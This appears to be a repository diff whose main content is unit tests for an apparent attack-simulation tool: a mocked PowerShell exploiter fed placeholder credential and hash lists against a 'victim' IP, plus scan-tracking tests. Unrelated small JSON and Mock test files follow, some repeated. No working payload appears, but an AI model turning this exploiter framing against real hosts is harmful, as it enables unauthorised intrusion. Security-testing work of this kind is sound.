"d3": "^5.14.1", "d3": "^7.6.1",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"file-saver": "^2.0.5", "file-saver": "^2.0.5",

View File

@ -16,6 +16,7 @@ LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"] bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"]
VICTIM_IP = "10.10.10.1"
mock_agent_binary_repository = MagicMock() mock_agent_binary_repository = MagicMock()
@ -23,7 +24,25 @@ mock_agent_binary_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EX
@pytest.fixture @pytest.fixture
def powershell_arguments(http_and_https_both_enabled_host): def host_with_ip_address(http_and_https_both_enabled_host):
http_and_https_both_enabled_host.ip_addr = VICTIM_IP
return http_and_https_both_enabled_host
@pytest.fixture
def http_host_with_ip_address(http_only_host):
http_only_host.ip_addr = VICTIM_IP
return http_only_host
@pytest.fixture
def https_host_with_ip_address(https_only_host):
https_only_host.ip_addr = VICTIM_IP
return https_only_host
@pytest.fixture
def powershell_arguments(host_with_ip_address):
options = { options = {
"credentials": { "credentials": {
"exploit_user_list": USER_LIST, "exploit_user_list": USER_LIST,
@ -33,7 +52,7 @@ def powershell_arguments(http_and_https_both_enabled_host):
}, },
} }
arguments = { arguments = {
"host": http_and_https_both_enabled_host, "host": host_with_ip_address,
"servers": bogus_servers, "servers": bogus_servers,
"options": options, "options": options,
"current_depth": 2, "current_depth": 2,
@ -63,8 +82,10 @@ def test_powershell_disabled(powershell_exploiter, powershell_arguments, powersh
assert "disabled" in exploit_result.error_message assert "disabled" in exploit_result.error_message
def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host): def test_powershell_http(
powershell_arguments["host"] = http_only_host monkeypatch, powershell_exploiter, powershell_arguments, http_host_with_ip_address
):
powershell_arguments["host"] = http_host_with_ip_address
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
monkeypatch.setattr( monkeypatch.setattr(
@ -77,7 +98,7 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments
assert not call_args[0][2].ssl assert not call_args[0][2].ssl
def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host): def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments):
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))
mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client)
@ -191,11 +212,11 @@ def test_build_monkey_execution_command():
def test_skip_http_only_logins( def test_skip_http_only_logins(
monkeypatch, powershell_exploiter, powershell_arguments, https_only_host monkeypatch, powershell_exploiter, powershell_arguments, https_host_with_ip_address
): ):
# Only HTTPS is enabled on the destination, so we should never try to connect with "" empty # Only HTTPS is enabled on the destination, so we should never try to connect with "" empty
# password, since connection with empty password requires SSL == False. # password, since connection with empty password requires SSL == False.
powershell_arguments["host"] = https_only_host powershell_arguments["host"] = https_host_with_ip_address
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))

View File

@ -1,3 +1,4 @@
from copy import deepcopy
from ipaddress import IPv4Address, IPv4Interface from ipaddress import IPv4Address, IPv4Interface
from itertools import count from itertools import count
from unittest.mock import MagicMock from unittest.mock import MagicMock
@ -9,7 +10,7 @@ from common import OperatingSystem
from common.agent_events import PingScanEvent, TCPScanEvent from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import PortStatus, SocketAddress from common.types import PortStatus, SocketAddress
from monkey_island.cc.agent_event_handlers import ScanEventHandler from monkey_island.cc.agent_event_handlers import ScanEventHandler
from monkey_island.cc.models import Agent, CommunicationType, Machine from monkey_island.cc.models import Agent, CommunicationType, Machine, Node
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
IAgentRepository, IAgentRepository,
IMachineRepository, IMachineRepository,
@ -29,43 +30,60 @@ SOURCE_MACHINE = Machine(
hardware_id=5, hardware_id=5,
network_interfaces=[IPv4Interface("10.10.10.99/24")], network_interfaces=[IPv4Interface("10.10.10.99/24")],
) )
TARGET_MACHINE_ID = 33
TARGET_MACHINE_IP = "10.10.10.1"
TARGET_MACHINE = Machine( TARGET_MACHINE = Machine(
id=33, id=TARGET_MACHINE_ID,
hardware_id=9, hardware_id=9,
network_interfaces=[IPv4Interface("10.10.10.1/24")], network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")],
)
SOURCE_NODE = Node(
machine_id=SOURCE_MACHINE.id,
connections=[],
tcp_connections={
44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50))
},
) )
PING_SCAN_EVENT = PingScanEvent( PING_SCAN_EVENT = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address("10.10.10.1"), target=IPv4Address(TARGET_MACHINE_IP),
response_received=True, response_received=True,
os=OperatingSystem.LINUX, os=OperatingSystem.LINUX,
) )
PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent( PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address("10.10.10.1"), target=IPv4Address(TARGET_MACHINE_IP),
response_received=False, response_received=False,
os=OperatingSystem.LINUX, os=OperatingSystem.LINUX,
) )
PING_SCAN_EVENT_NO_OS = PingScanEvent( PING_SCAN_EVENT_NO_OS = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address("10.10.10.1"), target=IPv4Address(TARGET_MACHINE_IP),
response_received=True, response_received=True,
os=None, os=None,
) )
TCP_SCAN_EVENT = TCPScanEvent( TCP_SCAN_EVENT = TCPScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address("10.10.10.1"), target=IPv4Address(TARGET_MACHINE_IP),
ports={22: PortStatus.OPEN, 8080: PortStatus.CLOSED}, ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED},
) )
TCP_CONNECTIONS = {
TARGET_MACHINE_ID: (
SocketAddress(ip=TARGET_MACHINE_IP, port=22),
SocketAddress(ip=TARGET_MACHINE_IP, port=80),
)
}
TCP_SCAN_EVENT_CLOSED = TCPScanEvent( TCP_SCAN_EVENT_CLOSED = TCPScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address("10.10.10.1"), target=IPv4Address(TARGET_MACHINE_IP),
ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED}, ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED},
) )
@ -91,6 +109,8 @@ def machine_repository() -> IMachineRepository:
@pytest.fixture @pytest.fixture
def node_repository() -> INodeRepository: def node_repository() -> INodeRepository:
node_repository = MagicMock(spec=INodeRepository) node_repository = MagicMock(spec=INodeRepository)
node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE)]
node_repository.upsert_node = MagicMock()
node_repository.upsert_communication = MagicMock() node_repository.upsert_communication = MagicMock()
return node_repository return node_repository
@ -103,7 +123,7 @@ def scan_event_handler(agent_repository, machine_repository, node_repository):
MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE} MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE}
MACHINES_BY_IP = { MACHINES_BY_IP = {
IPv4Address("10.10.10.99"): [SOURCE_MACHINE], IPv4Address("10.10.10.99"): [SOURCE_MACHINE],
IPv4Address("10.10.10.1"): [TARGET_MACHINE], IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE],
} }
@ -186,6 +206,44 @@ def test_tcp_scan_event_target_machine_not_exists(
machine_repository.upsert_machine.assert_called_with(expected_machine) machine_repository.upsert_machine.assert_called_with(expected_machine)
def test_handle_tcp_scan_event__no_open_ports(
scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT_CLOSED
scan_event_handler._update_nodes = MagicMock()
scan_event_handler.handle_tcp_scan_event(event)
assert not node_repository.upsert_tcp_connections.called
def test_handle_tcp_scan_event__ports_found(
scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT
scan_event_handler._update_nodes = MagicMock()
node_repository.get_node_by_machine_id.return_value = SOURCE_NODE
scan_event_handler.handle_tcp_scan_event(event)
call_args = node_repository.upsert_tcp_connections.call_args[0]
assert call_args[0] == MACHINE_ID
assert TARGET_MACHINE_ID in call_args[1]
open_socket_addresses = call_args[1][TARGET_MACHINE_ID]
assert set(open_socket_addresses) == set(TCP_CONNECTIONS[TARGET_MACHINE_ID])
assert len(open_socket_addresses) == len(TCP_CONNECTIONS[TARGET_MACHINE_ID])
def test_handle_tcp_scan_event__no_source(
caplog, scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT
node_repository.get_node_by_machine_id = MagicMock(side_effect=UnknownRecordError("no source"))
scan_event_handler._update_nodes = MagicMock()
scan_event_handler.handle_tcp_scan_event(event)
assert "ERROR" in caplog.text
assert "no source" in caplog.text
@pytest.mark.parametrize( @pytest.mark.parametrize(
"event,handler", "event,handler",
[(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)], [(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)],

View File

@ -3,6 +3,7 @@ from unittest.mock import MagicMock
import mongomock import mongomock
import pytest import pytest
from common.types import SocketAddress
from monkey_island.cc.models import CommunicationType, Node from monkey_island.cc.models import CommunicationType, Node
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
INodeRepository, INodeRepository,
@ -10,8 +11,17 @@ from monkey_island.cc.repository import (
RemovalError, RemovalError,
RetrievalError, RetrievalError,
StorageError, StorageError,
UnknownRecordError,
) )
TARGET_MACHINE_IP = "2.2.2.2"
TCP_CONNECTION_PORT_22 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),)}
TCP_CONNECTION_PORT_80 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=80),)}
ALL_TCP_CONNECTIONS = {
3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22), SocketAddress(ip=TARGET_MACHINE_IP, port=80))
}
NODES = ( NODES = (
Node( Node(
machine_id=1, machine_id=1,
@ -23,6 +33,7 @@ NODES = (
Node( Node(
machine_id=2, machine_id=2,
connections={1: frozenset((CommunicationType.CC,))}, connections={1: frozenset((CommunicationType.CC,))},
tcp_connections=TCP_CONNECTION_PORT_22,
), ),
Node( Node(
machine_id=3, machine_id=3,
@ -32,10 +43,7 @@ NODES = (
5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)), 5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)),
}, },
), ),
Node( Node(machine_id=4, connections={}, tcp_connections=ALL_TCP_CONNECTIONS),
machine_id=4,
connections={},
),
Node( Node(
machine_id=5, machine_id=5,
connections={ connections={
@ -163,21 +171,6 @@ def test_upsert_communication__replace_one_fails(
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED) error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
def test_upsert_communication__replace_one_matched_without_modify(
error_raising_mock_mongo_client, error_raising_node_repository
):
mock_result = MagicMock()
mock_result.matched_count = 1
mock_result.modified_count = 0
error_raising_mock_mongo_client.monkey_island.nodes.find_one = MagicMock(return_value=None)
error_raising_mock_mongo_client.monkey_island.nodes.replace_one = MagicMock(
return_value=mock_result
)
with pytest.raises(StorageError):
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
def test_upsert_communication__replace_one_insert_fails( def test_upsert_communication__replace_one_insert_fails(
error_raising_mock_mongo_client, error_raising_node_repository error_raising_mock_mongo_client, error_raising_node_repository
): ):
@ -216,3 +209,43 @@ def test_reset(node_repository):
def test_reset__removal_error(error_raising_node_repository): def test_reset__removal_error(error_raising_node_repository):
with pytest.raises(RemovalError): with pytest.raises(RemovalError):
error_raising_node_repository.reset() error_raising_node_repository.reset()
def test_upsert_tcp_connections__empty_connections(node_repository):
node_repository.upsert_tcp_connections(1, TCP_CONNECTION_PORT_22)
nodes = node_repository.get_nodes()
for node in nodes:
if node.machine_id == 1:
assert node.tcp_connections == TCP_CONNECTION_PORT_22
def test_upsert_tcp_connections__upsert_new_port(node_repository):
node_repository.upsert_tcp_connections(2, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 2][0]
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
def test_upsert_tcp_connections__port_already_present(node_repository):
node_repository.upsert_tcp_connections(4, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 4][0]
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
def test_upsert_tcp_connections__node_missing(node_repository):
node_repository.upsert_tcp_connections(999, TCP_CONNECTION_PORT_80)
nodes = node_repository.get_nodes()
modified_node = [node for node in nodes if node.machine_id == 999][0]
assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80)
def test_get_node_by_machine_id(node_repository):
assert node_repository.get_node_by_machine_id(1) == NODES[0]
def test_get_node_by_machine_id__no_node(node_repository):
with pytest.raises(UnknownRecordError):
node_repository.get_node_by_machine_id(999)

13
test_dumps Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

13
test_dumps.py Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

21
zmtest04/test_mock.py Normal file
View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)

21
zmtest05/test_mock.py Normal file
View File

@ -0,0 +1,21 @@
import unittest
from mock import Mock
def VerifyPhone():
'''
校验用户手机号
'''
pass
class TestVerifyPhone(unittest.TestCase):
def test_verify_phone(self):
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
VerifyPhone = Mock(return_value=data)
self.assertEqual("success", VerifyPhone()["msg"]["result"])
print('测试用例')
if __name__ == '__main__':
unittest.main(verbosity=2)